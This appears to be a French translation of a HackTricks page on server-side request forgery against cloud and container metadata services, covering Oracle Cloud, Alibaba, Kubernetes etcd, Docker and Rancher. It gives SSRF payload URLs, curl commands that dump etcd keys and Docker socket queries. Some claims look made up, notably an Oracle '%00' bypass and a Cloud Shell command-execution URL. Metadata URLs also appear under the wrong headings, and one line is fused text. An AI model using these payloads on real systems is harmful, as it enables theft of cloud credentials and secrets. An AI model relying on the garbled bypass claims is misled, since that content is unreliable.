Les instances Oracle Cloud ont une API REST qui peut être utilisée pour effectuer des actions sur les instances. Cette API est accessible via l'URL `http://169.254.169.254/opc/v1/`. En utilisant une SSRF, un attaquant peut envoyer des requêtes à cette API pour récupérer des informations sensibles telles que les clés d'API, les informations d'identification et les métadonnées de l'instance.
|
|
|
|
Voici un exemple de requête SSRF pour récupérer les informations d'identification de l'instance :
|
|
|
|
```
|
|
http://169.254.169.254/opc/v1/instance/identity
|
|
```
|
|
|
|
### Bypassing Instance Metadata Service
|
|
|
|
Oracle Cloud a mis en place des mesures de sécurité pour empêcher les attaques SSRF. Cependant, il est possible de contourner ces mesures en utilisant des techniques telles que l'injection de caractères null (`%00`) ou l'utilisation de l'URL `http://127.0.0.1/`.
|
|
|
|
Voici un exemple de requête SSRF contournant les mesures de sécurité en utilisant l'injection de caractères null :
|
|
|
|
```
|
|
http://169.254.169.254/opc/v1/%00/instance/identity
|
|
```
|
|
|
|
### Cloud Shell
|
|
|
|
Oracle Cloud propose une fonctionnalité appelée Cloud Shell qui permet aux utilisateurs d'exécuter des commandes dans un environnement de shell Linux directement depuis le navigateur. Cette fonctionnalité est accessible via l'URL `https://shell.cloud.oracle.com/`.
|
|
|
|
En utilisant une SSRF, un attaquant peut envoyer des requêtes à l'API REST de Cloud Shell pour exécuter des commandes arbitraires sur l'instance.
|
|
|
|
Voici un exemple de requête SSRF pour exécuter la commande `ls` sur l'instance :
|
|
|
|
```
|
|
https://shell.cloud.oracle.com/api/v1/sessions/1234567890/ssh?command=ls
|
|
```
|
|
```
|
|
http://192.0.0.192/latest/
|
|
http://192.0.0.192/latest/user-data/
|
|
http://192.0.0.192/latest/meta-data/
|
|
http://192.0.0.192/latest/attributes/
|
|
```
|
|
## Alibaba <a href="#51bd" id="51bd"></a>
|
|
|
|
Alibaba Cloud est un fournisseur de services cloud chinois qui propose une large gamme de services, notamment des serveurs, des bases de données, des services de sécurité et des solutions d'analyse de données. Les services cloud d'Alibaba sont utilisés par de nombreuses entreprises en Chine et dans le monde entier.
|
|
|
|
Les vulnérabilités SSRF sont courantes sur les serveurs Alibaba Cloud. Les attaquants peuvent utiliser ces vulnérabilités pour accéder à des ressources internes, telles que des bases de données, des fichiers et des clés d'API. Les attaquants peuvent également utiliser des vulnérabilités SSRF pour effectuer des attaques de rebond, dans lesquelles ils utilisent un serveur vulnérable pour attaquer d'autres serveurs.
|
|
|
|
Les attaquants peuvent également utiliser des vulnérabilités SSRF pour accéder à des informations sensibles, telles que des informations d'identification et des clés d'API. Les attaquants peuvent utiliser ces informations pour accéder à des ressources sensibles, telles que des bases de données et des fichiers.
|
|
|
|
Il est important de surveiller les vulnérabilités SSRF sur les serveurs Alibaba Cloud et de les corriger dès que possible. Les entreprises doivent également mettre en place des mesures de sécurité pour protéger leurs ressources sensibles, telles que des bases de données et des fichiers.
|
|
```
|
|
http://100.100.100.200/latest/meta-data/
|
|
http://100.100.100.200/latest/meta-data/instance-id
|
|
http://100.100.100.200/latest/meta-data/image-id
|
|
```
|
|
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
|
|
|
|
Peut contenir des clés API et des adresses IP et des ports internes.
|
|
```
|
|
curl -L http://127.0.0.1:2379/version
|
|
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
|
```
|
|
## Docker <a href="#ac0b" id="ac0b"></a>
|
|
|
|
Docker est une plateforme de conteneurisation qui permet de créer, déployer et exécuter des applications dans des conteneurs. Les conteneurs sont des environnements isolés qui contiennent tout ce dont une application a besoin pour fonctionner, y compris le code, les bibliothèques et les dépendances. Docker est souvent utilisé pour créer des environnements de développement et de test, ainsi que pour déployer des applications dans des environnements de production.
|
|
|
|
Les attaques SSRF contre les conteneurs Docker peuvent être particulièrement dangereuses, car les conteneurs sont souvent utilisés pour exécuter des applications sensibles, telles que des bases de données et des serveurs Web. Si un attaquant peut exploiter une vulnérabilité SSRF pour accéder à ces applications, il peut potentiellement voler des données sensibles ou prendre le contrôle complet du système.
|
|
|
|
Il est important de noter que les attaques SSRF contre les conteneurs Docker peuvent être plus difficiles à exploiter que les attaques SSRF contre les serveurs Web traditionnels. Cela est dû au fait que les conteneurs sont souvent configurés pour n'écouter que sur des ports spécifiques, ce qui peut limiter les options d'attaque pour un attaquant. Cependant, il est toujours important de prendre des mesures pour protéger les conteneurs Docker contre les attaques SSRF, telles que la configuration de règles de pare-feu pour limiter l'accès aux ports sensibles et la mise en place de contrôles d'accès pour les applications sensibles.
|
|
```
|
|
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
|
|
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
|
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
|
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
|
```
|
|
## Rancher <a href="#8cb7" id="8cb7"></a>
|
|
|
|
Rancher est une plateforme de gestion de conteneurs qui permet de déployer et de gérer des clusters Kubernetes. Elle est souvent utilisée pour gérer des environnements de production dans le cloud. Les versions antérieures à la version 2.5.8 ont été affectées par une vulnérabilité SSRF qui permettait à un attaquant de contourner les restrictions de sécurité et d'envoyer des requêtes HTTP depuis le serveur vers des ressources internes ou externes. Cette vulnérabilité a été corrigée dans la version 2.5.8 et les versions ultérieures. Si vous utilisez une version antérieure, il est recommandé de mettre à jour votre installation Rancher dès que possible pour éviter toute exploitation potentielle de cette vulnérabilité.
|
|
```
|
|
curl http://rancher-metadata/<version>/<path>
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|